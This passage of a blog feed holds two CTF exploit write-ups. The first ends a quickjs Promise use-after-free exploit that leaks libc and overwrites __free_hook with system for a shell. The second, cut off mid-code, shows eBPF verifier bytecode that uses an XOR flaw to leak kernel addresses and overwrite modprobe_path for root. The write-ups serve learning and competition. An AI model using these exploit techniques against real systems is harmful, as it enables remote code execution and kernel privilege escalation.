class="p">}</span> <span class="nx">main</span><span class="p">();</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Finish Main</span><span class="dl">"</span><span class="p">);</span> </code></pre></div></div> <p>The execution result is shown below, although the assertion failure is not necessarily triggered all the time:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Promise Init Finish Main Resolve2 tjs: txiki.js/deps/quickjs/src/quickjs.c:5660: gc_decref_child: Assertion `p-&gt;ref_count &gt; 0' failed. Aborted (core dumped) </code></pre></div></div> <p>If we inspect reference counter at <code class="language-plaintext highlighter-rouge">Math.min(a)</code>, we find that <code class="language-plaintext highlighter-rouge">ref_count</code> is <code class="language-plaintext highlighter-rouge">3</code>. This is quite weird, because we expect <code class="language-plaintext highlighter-rouge">a</code> does not contribute to any reference count due to the bug, and there is only <code class="language-plaintext highlighter-rouge">arr</code> referencing to the object so the <code class="language-plaintext highlighter-rouge">ref_count</code> should be 2. I would guess there might be some internal reference inside Promise mechanism that is causing such one more <code class="language-plaintext highlighter-rouge">ref_count</code>.</p> <p>What we want is actually 2 variables referencing to the same object but <code class="language-plaintext highlighter-rouge">ref_count</code> is one less than it should be (e.i. <code class="language-plaintext highlighter-rouge">ref_count == 2</code>). Therefore, setting one of them to <code class="language-plaintext highlighter-rouge">undefined</code> can cause the other variable to be UAF. However, the situation described above cannot satisfy this requirement. This actually got me stuck for quite long time.</p> <p>Considering possible internal reference inside Promise mechanism mentioned above, I was thinking if such internal reference would disappear once this promise handler finishes. The idea is to copy the <code class="language-plaintext highlighter-rouge">arr</code> variable into another global variable <code class="language-plaintext highlighter-rouge">arr2</code>, and to start another promise handler but this time we pass a variable without reference count, so the bug would not be triggered. Inside this new handler, if we look at <code class="language-plaintext highlighter-rouge">ref_count</code> of <code class="language-plaintext highlighter-rouge">arr</code>, it becomes <code class="language-plaintext highlighter-rouge">2</code>; and if we set <code class="language-plaintext highlighter-rouge">arr</code> to <code class="language-plaintext highlighter-rouge">undefined</code>, another global variable <code class="language-plaintext highlighter-rouge">arr2</code> will become UAF!</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">f2</span><span class="p">()</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Resolve3</span><span class="dl">"</span><span class="p">);</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">arr2</span><span class="p">);</span> <span class="c1">// ref_count == 2</span> <span class="nx">arr</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">arr2</span><span class="p">);</span> <span class="c1">// UAF can be triggered</span> <span class="p">}</span> <span class="kd">let</span> <span class="nx">arr2</span><span class="p">;</span> <span class="kd">function</span> <span class="nx">f</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Resolve2</span><span class="dl">"</span><span class="p">);</span> <span class="nx">arr2</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">;</span> <span class="c1">// increment number of variables referecing to it</span> <span class="kd">let</span> <span class="nx">p</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">reject</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Promise2 Init</span><span class="dl">"</span><span class="p">);</span> <span class="nx">resolve</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">});</span> <span class="nx">p</span><span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">f2</span><span class="p">);</span> <span class="p">}</span> <span class="c1">// main function is same as above, thus omitted...</span> </code></pre></div></div> <h3 id="exploiting-uaf">Exploiting UAF</h3> <p>As we have already shown in the code above, we use <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> with large size (so that its backing store does not fit into <code class="language-plaintext highlighter-rouge">tcache bins</code>) as the object to trigger UAF. The primary idea is using <code class="language-plaintext highlighter-rouge">TypedArray</code>. Instead of storing one reference to <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> directly using global variable, we store it inside a <code class="language-plaintext highlighter-rouge">TypedArray</code> global variable. Therefore, after the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> is freed, we can still access the freed backing store of <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> using <code class="language-plaintext highlighter-rouge">TypedArray</code>; this enables us to leak and rewrites the pointers.</p> <p>However, this sometimes causes a problem: when we access the freed <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> backing store using <code class="language-plaintext highlighter-rouge">TypedArray</code>, <code class="language-plaintext highlighter-rouge">TypedArray</code> will check whether the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> is detached, and this causes a crash because original <code class="language-plaintext highlighter-rouge">JSObject</code> of <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> is already freed. The idea is to allocate some <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> again to fill that freed <code class="language-plaintext highlighter-rouge">JSObject</code> of <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> so that we can pass this check.</p> <p>Finally, we need to look at the freed backing store memory inside <code class="language-plaintext highlighter-rouge">gdb</code> to see what we can read and write. How do we find the backing store pointer of freed <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> using <code class="language-plaintext highlighter-rouge">TypedArray</code>? You can do this by reading source code but I would say the easiest approach is to set first few bytes of the buffer to some magic number like <code class="language-plaintext highlighter-rouge">0x13371337</code>, and use <code class="language-plaintext highlighter-rouge">tel</code> in <code class="language-plaintext highlighter-rouge">gdb</code> to find the which pointer is pointing to such magic bytes. It turns out that this works very well.</p> <p>By inspecting freed backing store memory in <code class="language-plaintext highlighter-rouge">gdb</code>, we find that we can leak <code class="language-plaintext highlighter-rouge">libc</code> address. This is great! As for the arbitrary write primitive, we can also allocate some new <code class="language-plaintext highlighter-rouge">TypedArray</code>s whose backing store pointers can be stored in the freed backing store memory, so that we can also rewrite this pointer to achieve arbitrary write. Using this we can rewrites <code class="language-plaintext highlighter-rouge">__free_hook</code> to <code class="language-plaintext highlighter-rouge">system</code> to get the shell. Part of the exploit is shown below:</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">abs</span> <span class="o">=</span> <span class="p">[];</span> <span class="nx">a1</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">abs</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">));</span> <span class="c1">// allocate some new `ArrayBuffer` to</span> <span class="c1">// prevent crash when checking detechment </span> <span class="p">}</span> <span class="kd">const</span> <span class="nx">tas</span> <span class="o">=</span> <span class="p">[];</span> <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="kd">const</span> <span class="nx">ta</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="nx">abs</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span> <span class="c1">// we also use these `ArrayBuffer` to create `TypedArray`</span> <span class="nx">ta</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1852400175</span><span class="p">;</span> <span class="nx">ta</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">6845231</span><span class="p">;</span> <span class="c1">// set first 8 bytes to "/bin/sh"</span> <span class="nx">tas</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">ta</span><span class="p">);</span> <span class="p">}</span> <span class="kd">const</span> <span class="nx">libc_addr</span> <span class="o">=</span> <span class="nx">a0</span><span class="p">[</span><span class="mh">0x170</span><span class="o">/</span><span class="mi">4</span><span class="p">]</span> <span class="o">+</span> <span class="nx">a0</span><span class="p">[</span><span class="mh">0x170</span><span class="o">/</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="mh">0x100000000</span> <span class="o">-</span> <span class="mh">0x3ebca0</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">hex</span><span class="p">(</span><span class="nx">libc_addr</span><span class="p">));</span> <span class="c1">// leak libc address</span> <span class="nx">a0</span><span class="p">[</span><span class="mh">0x1d8</span><span class="o">/</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="nx">libc_addr</span> <span class="o">+</span> <span class="mh">0x3ed8e8</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0x100000000</span><span class="p">;</span> <span class="nx">a0</span><span class="p">[</span><span class="mh">0x1d8</span><span class="o">/</span><span class="mi">4</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="nx">libc_addr</span> <span class="o">+</span> <span class="mh">0x3ed8e8</span><span class="p">)</span> <span class="o">-</span> <span class="nx">a0</span><span class="p">[</span><span class="mh">0x1d8</span><span class="o">/</span><span class="mi">4</span><span class="p">])</span> <span class="o">/</span> <span class="mh">0x100000000</span><span class="p">;</span> <span class="c1">// set backing store of `TypedArray` to `__free_hook`</span> <span class="nx">tas</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="nx">libc_addr</span> <span class="o">+</span> <span class="mh">0x4f550</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0x100000000</span><span class="p">;</span> <span class="nx">tas</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="nx">libc_addr</span> <span class="o">+</span> <span class="mh">0x4f550</span><span class="p">)</span> <span class="o">-</span> <span class="nx">tas</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span> <span class="o">/</span> <span class="mh">0x100000000</span><span class="p">;</span> <span class="c1">// __free_hook = system</span> </code></pre></div></div> <p>An interesting point to note is that even comment can change heap layout of the freed backing store of <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>, so this is the reason why I choose to put comment in writeup instead of in original exploit, which is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/promise.js">here</a>.</p> <h2 id="0x04-conclusion">0x04 Conclusion</h2> <p>This is quite an interesting and hard challenge, we got 2nd blood and there are 3 solves eventually, and I have learned a lot about <code class="language-plaintext highlighter-rouge">quickjs</code> in this challenge. Thanks for the author for making this challenge.</p> Mon, 27 Sep 2021 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2021/09/27/TCTF2021-Promise.html https://mem2019.github.io/jekyll/update/2021/09/27/TCTF2021-Promise.html jekyll update Google CTF 2021 eBPF <p>Last weekend we played Google CTF and I have solved 2 challenges: first 2 parts of <code class="language-plaintext highlighter-rouge">fullchain</code> and <code class="language-plaintext highlighter-rouge">eBPF</code>. The <code class="language-plaintext highlighter-rouge">fullchain</code> challenge is actually very easy: <code class="language-plaintext highlighter-rouge">v8</code> bug and <code class="language-plaintext highlighter-rouge">mojo</code> bug are just basic OOB access bugs. However, <code class="language-plaintext highlighter-rouge">eBPF</code> is quite interesting for me, since it is my first time to learn and exploit <code class="language-plaintext highlighter-rouge">eBPF</code> module in Linux kernel, so it is worthy to do a write-up for it.</p> <h2 id="0x00-overview">0x00 Overview</h2> <p>In this challenge, instead of a <code class="language-plaintext highlighter-rouge">.ko</code> kernel module like normal kernel exploit challenge, we are provided only with a patched Linux kernel. In the patch, <code class="language-plaintext highlighter-rouge">verifier.c</code> of <code class="language-plaintext highlighter-rouge">eBPF</code> is modified so that <code class="language-plaintext highlighter-rouge">xor</code> operation to pointer to map value can be allowed. The problem is when applying <code class="language-plaintext highlighter-rouge">xor</code> to a pointer 2 times using different value, we can actually manipulate the pointer to arbitrary address, so that we can have arbitrary read and write primitive. Then we can use this to leak kernel address by spraying and reading <code class="language-plaintext highlighter-rouge">tty_struct</code>, and to rewrite <code class="language-plaintext highlighter-rouge">modprobe_path</code> to get root privilege.</p> <h2 id="0x01-introduction-to-ebpf">0x01 Introduction to eBPF</h2> <p>There are many useful resources about eBPF online, the ones that are most useful for me to solve this challenge are this <a href="https://www.collabora.com/news-and-blog/blog/2019/04/05/an-ebpf-overview-part-1-introduction/">introduction</a> to low-level stuff of eBPF and this <a href="https://github.com/ret2hell/CVE-2020-8835/blob/master/exploit.c">exploit</a> of an eBPF CVE. To be short, eBPF is a virtual machine that runs in Linux kernel. We can provide bytecode to kernel in user program, and kernel will check if the bytecode is secure and valid to be run in kernel before loading them; if the check is passed, the kernel will load the bytecode and run it in certain event. Note that the check is done before the bytecode is run instead of when the bytecode is running. Therefore, if the check is somewhat wrong, which allows insecure bytecode to be loaded and run, the kernel can be compromised. This is exactly what this challenge is about.</p> <h3 id="ebpf-environment">eBPF Environment</h3> <p>Configuring development environment for eBPF in C takes me quite long time, because the <a href="https://github.com/torvalds/linux/blob/v4.20/samples/bpf/sock_example.c">sock_example</a> provided cannot be compiled successfully on my computer. Finally, the CVE exploit mentioned above solved this problem for me, so that I can implement eBPF API using <code class="language-plaintext highlighter-rouge">syscall</code> directly. Thus finally, the only required header file is <a href="https://github.com/torvalds/linux/blob/v4.20/samples/bpf/bpf_insn.h">bpf_insn.h</a>, which can be downloaded from Linux repository easily.</p> <p>There is also another problem: we cannot compile the exploit using <code class="language-plaintext highlighter-rouge">musl-gcc</code>, which produces small binary. The problem is that it seems that <code class="language-plaintext highlighter-rouge">musl-gcc</code> cannot find the <code class="language-plaintext highlighter-rouge">&lt;linux/xxx.h&gt;</code> header files. I solved this by preprocessing exploit using <code class="language-plaintext highlighter-rouge">gcc -E</code> and compiling the preprocessing output using <code class="language-plaintext highlighter-rouge">musl-gcc</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-E</span> exp.c <span class="nt">-o</span> fs/exp.c musl-gcc <span class="nt">-static</span> fs/exp.c <span class="nt">-o</span> fs/exp </code></pre></div></div> <p>This is a quite useful trick when <code class="language-plaintext highlighter-rouge">musl-gcc</code> cannot compile the exploit that can be compiled using <code class="language-plaintext highlighter-rouge">gcc</code>.</p> <h2 id="0x02-vulnerability">0x02 Vulnerability</h2> <p>The first patch adds a <code class="language-plaintext highlighter-rouge">bool auth_map</code> field to <code class="language-plaintext highlighter-rouge">struct bpf_reg_state</code>, which is the structure used to represent the state of register when performing bytecode verification. The second patch allows <code class="language-plaintext highlighter-rouge">BPF_XOR</code> operation for <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> type register in function <code class="language-plaintext highlighter-rouge">adjust_ptr_min_max_vals</code>:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="n">BPF_XOR</span><span class="p">:</span> <span class="c1">// As long as we downgrade the result to scalar it is safe.</span> <span class="k">if</span> <span class="p">(</span><span class="n">dst_reg</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">==</span> <span class="n">PTR_TO_MAP_VALUE</span><span class="p">)</span> <span class="p">{</span> <span class="n">dst_reg</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="n">SCALAR_VALUE</span><span class="p">;</span> <span class="n">dst_reg</span><span class="o">-&gt;</span><span class="n">auth_map</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>When <code class="language-plaintext highlighter-rouge">BPF_XOR</code> is applied to scalar register that is converted from <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> by <code class="language-plaintext highlighter-rouge">BPF_XOR</code> operation, it is set back to <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> type.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// in function adjust_scalar_min_max_vals</span> <span class="k">case</span> <span class="n">BPF_XOR</span><span class="p">:</span> <span class="cm">/* Restore the pointer type.*/</span> <span class="k">if</span> <span class="p">(</span><span class="n">dst_reg</span><span class="o">-&gt;</span><span class="n">auth_map</span><span class="p">)</span> <span class="p">{</span> <span class="n">dst_reg</span><span class="o">-&gt;</span><span class="n">auth_map</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span> <span class="n">dst_reg</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="n">PTR_TO_MAP_VALUE</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>The problem is obvious: if we apply <code class="language-plaintext highlighter-rouge">BPF_XOR</code> to <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> register, it will be converted to <code class="language-plaintext highlighter-rouge">SCALAR_VALUE</code> type and <code class="language-plaintext highlighter-rouge">auth_map</code> is set to true; then we apply <code class="language-plaintext highlighter-rouge">BPF_XOR</code> to that register again, since <code class="language-plaintext highlighter-rouge">auth_map == true</code>, the type is set back to <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code>; however, the operand value provided to 2 <code class="language-plaintext highlighter-rouge">BPF_XOR</code> operations can be different, so we can actually set the register to be an arbitrary address but still being <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> type. This can lead to arbitrary memory read and write primitive eventually.</p> <h2 id="0x03-exploitation">0x03 Exploitation</h2> <h3 id="get-ptr_to_map_value-register">Get PTR_TO_MAP_VALUE Register</h3> <p>This actually takes me quite long time. I originally thought the value returned from <code class="language-plaintext highlighter-rouge">BPF_LD_MAP_FD</code> is <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> but it is actually not. Finally by reading source code and finding reference to <code class="language-plaintext highlighter-rouge">RET_PTR_TO_MAP_VALUE_OR_NULL</code>, we find that return type of <code class="language-plaintext highlighter-rouge">BPF_FUNC_map_lookup_elem</code> is <code class="language-plaintext highlighter-rouge">RET_PTR_TO_MAP_VALUE_OR_NULL</code>, and by checking <code class="language-plaintext highlighter-rouge">NULL</code> for it, we can get <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> type. This is also exactly shown in the <a href="https://github.com/torvalds/linux/blob/v4.20/samples/bpf/sock_example.c#L47">example</a> provided.</p> <p>Therefore, we can apply <code class="language-plaintext highlighter-rouge">BPF_XOR</code> operation to that register, and it turns out that verification check is passed, which means the vulnerability has already been triggered. We can leak the address of <code class="language-plaintext highlighter-rouge">BPF_MAP_TYPE_ARRAY</code> by writing the result of <code class="language-plaintext highlighter-rouge">BPF_XOR</code> to the buffer and read the buffer in user space.</p> <h3 id="leaking-kernel-address">Leaking Kernel Address</h3> <p>After some investigation, I found that the <code class="language-plaintext highlighter-rouge">BPF_MAP_TYPE_ARRAY</code> buffer is probably stored on heap. Therefore, the idea is to spray <code class="language-plaintext highlighter-rouge">tty_struct</code>, which contains a kernel address at <code class="language-plaintext highlighter-rouge">+0x18</code> offset, and read that field to get kernel address. However, after some trial, I found that it is hard to allocate <code class="language-plaintext highlighter-rouge">tty_struct</code> adjacent to the <code class="language-plaintext highlighter-rouge">BPF_MAP_TYPE_ARRAY</code> buffer; nonetheless, I also found that although <code class="language-plaintext highlighter-rouge">tty_struct</code> is quite far from <code class="language-plaintext highlighter-rouge">BPF_MAP_TYPE_ARRAY</code> buffer, the offset from the buffer to <code class="language-plaintext highlighter-rouge">tty_struct</code> is quite constant: <code class="language-plaintext highlighter-rouge">0x21ef0</code>. Therefore, we can just add this constant offset to buffer address and read the <code class="language-plaintext highlighter-rouge">+0x18</code> field to leak kernel address. However, this is not 100% stable and need some brute-force to make this assumption true.</p> <p>The bytecode for leaking is shown below:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">bpf_insn</span> <span class="n">insns</span><span class="p">[]</span><span class="o">=</span><span class="p">{</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">BPF_STX_MEM</span><span class="p">(</span><span class="n">BPF_W</span><span class="p">,</span> <span class="n">BPF_REG_10</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">),</span> <span class="cm">/* *(u32 *)(fp - 4) = r0 */</span> <span class="n">BPF_MOV64_REG</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="n">BPF_REG_10</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_ADD</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">),</span> <span class="cm">/* r2 = fp - 4 */</span> <span class="n">BPF_LD_MAP_FD</span><span class="p">(</span><span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">EXP_MAP_FD</span><span class="p">),</span> <span class="n">BPF_RAW_INSN</span><span class="p">(</span><span class="n">BPF_JMP</span> <span class="o">|</span> <span class="n">BPF_CALL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">BPF_FUNC_map_lookup_elem</span><span class="p">),</span> <span class="n">BPF_JMP_IMM</span><span class="p">(</span><span class="n">BPF_JEQ</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">11</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="n">BPF_MOV64_REG</span><span class="p">(</span><span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">),</span> <span class="n">BPF_MOV64_REG</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">),</span> <span class="n">BPF_MOV64_REG</span><span class="p">(</span><span class="n">BPF_REG_3</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="c1">// convert r2, r1 to scalar</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_ADD</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x21ef0</span><span class="o">+</span><span class="mh">0x18</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="c1">// r0 = dst ^ src</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">),</span> <span class="c1">// r1 = src ^ dst ^ src = dst</span> <span class="n">BPF_LDX_MEM</span><span class="p">(</span><span class="n">BPF_DW</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="c1">// r2 = [dst] = kernel940</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_ADD</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x451200</span><span class="p">),</span> <span class="c1">// r2 = &amp;modprobe</span> <span class="n">BPF_STX_MEM</span><span class="p">(</span><span class="n">BPF_DW</span><span class="p">,</span> <span class="n">BPF_REG_3</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="c1">// store and leak modprobe</span> <span class="n">BPF_JMP_IMM</span><span class="p">(</span><span class="n">BPF_JMP</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="cm">/* r0 = 0 */</span> <span class="n">BPF_EXIT_INSN</span><span class="p">(),</span> <span class="p">};</span> </code></pre></div></div> <p>There are also some points to note:</p> <ol> <li>We need to add some constant to register containing buffer address, but cannot use that register to load memory data directly later; this is because it seems that verifier can detect the out-of-bound access if we do this; so we need to use <code class="language-plaintext highlighter-rouge">xor</code> magic to indirectly make a <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> register pointing to <code class="language-plaintext highlighter-rouge">tty_struct</code>.</li> <li>One weird thing is, even if we don’t use <code class="language-plaintext highlighter-rouge">BPF_XOR</code>, we can still somewhat leak the address of buffer; I am not sure why this happens.</li> <li>You may ask why I only leak the kernel address in this step, instead of performing the whole exploitation that rewrites <code class="language-plaintext highlighter-rouge">modprobe_path</code> using arbitrary write; the problem is if operand register of <code class="language-plaintext highlighter-rouge">BPF_XOR</code> originates from load operation of <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> register, second <code class="language-plaintext highlighter-rouge">BPF_XOR</code> cannot convert the register back to <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> type. I would guess the reason that patch is added to <code class="language-plaintext highlighter-rouge">adjust_scalar_min_max_vals</code>, which, according to its name, is used to analyze range of a scalar; however, verifier cannot decide range of value loaded from <code class="language-plaintext highlighter-rouge">BPF_MAP_TYPE_ARRAY</code> memory, so this function will possibly not be called and the patch that converts scalar back to <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> is not triggered.</li> <li>It seems that sometimes if we apply <code class="language-plaintext highlighter-rouge">BPF_XOR</code> to a register for more than 2 times, the kernel will crash when loading the bytecode; I am not sure why this happens either.</li> </ol> <h3 id="rewriting-modprobe_path">Rewriting modprobe_path</h3> <p>Then we are going to exploit the bug again to rewrite <code class="language-plaintext highlighter-rouge">modprobe_path</code> and read the flag. This time, instead of loading address of <code class="language-plaintext highlighter-rouge">modprobe_path</code> from memory, we apply it directly as constant, so the problem in last step does not exist. Then we can use the <code class="language-plaintext highlighter-rouge">xor</code> magic again to have a <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> register pointing to <code class="language-plaintext highlighter-rouge">&amp;modprobe_path</code>, so that storing to that register rewrites <code class="language-plaintext highlighter-rouge">modprobe_path</code>.</p> <p>The bytecode is shown below:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">bpf_insn</span> <span class="n">insns2</span><span class="p">[]</span><span class="o">=</span><span class="p">{</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">BPF_STX_MEM</span><span class="p">(</span><span class="n">BPF_W</span><span class="p">,</span> <span class="n">BPF_REG_10</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">),</span> <span class="cm">/* *(u32 *)(fp - 4) = r0 */</span> <span class="n">BPF_MOV64_REG</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="n">BPF_REG_10</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_ADD</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">),</span> <span class="cm">/* r2 = fp - 4 */</span> <span class="n">BPF_LD_MAP_FD</span><span class="p">(</span><span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">expmapfd</span><span class="p">),</span> <span class="n">BPF_RAW_INSN</span><span class="p">(</span><span class="n">BPF_JMP</span> <span class="o">|</span> <span class="n">BPF_CALL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">BPF_FUNC_map_lookup_elem</span><span class="p">),</span> <span class="n">BPF_JMP_IMM</span><span class="p">(</span><span class="n">BPF_JEQ</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">28</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="n">BPF_MOV64_REG</span><span class="p">(</span><span 